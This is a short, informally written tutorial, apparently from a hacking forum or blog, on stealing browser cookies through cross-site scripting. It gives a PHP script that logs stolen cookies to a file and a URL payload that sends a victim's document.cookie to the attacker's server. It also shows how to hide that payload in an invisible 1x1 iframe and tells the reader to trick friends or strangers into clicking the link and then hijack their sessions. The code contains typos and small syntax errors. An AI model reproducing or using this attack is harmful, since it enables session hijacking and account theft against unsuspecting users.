XSS means
Cross-site Scripting is a type of computer
security vulnerability typically found
in Web applications that enables
attackers to inject client-side
script into Web pages viewed by other
users.
There are two types of XSS : Non-Persistent and
Persistent.
Now ..
Search for vulnerability in a site: its on you
This is a simple example here:
<sript>alert(“hi”);</script>
Make sure
that you have a site where the cookie needs to be uploded..
(Where a
link has to be sent and script executes )
Upload the below php script in your site ex:1.php
<?php
$cookie=$_GET[‘cookie’]; //storing cookies in a variable called
$cookie.
$file=fopen(“cookies.txt”,”a”); //opening a file called cookies.txt with
append mode.
fwrite($file,$cookie.”\n\n\n);
fclose($file);
?>
Save it as “ 1.php
“
Now the url
looks like : www.your_site.com/some_folder/1.php
Find vuln in a site then put it like this below :
http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>
now send this link but,mostly people wont click
it because they find this url very suspicious.
So u need to mask it
Ex:
<iframe
src="http://some_vuln_site.com/somefolder/search.php?query=<script>document.location='http://Your_site.com/somefolder/1.php?cookie='.concat(escape(document.cookie));</script>"
width="1" heigth="1"></iframe>
**
Now put this script in file called iclick.php .
Now your url looks like www.your_site.com/folder/iclick.php
Send this link to your friend or anyone else ask….(social
engineer) to click on this link..
Tats it the cookies will be stored in cookies.txt
file.
(download cookie editor addon and go on wat u
want to do).
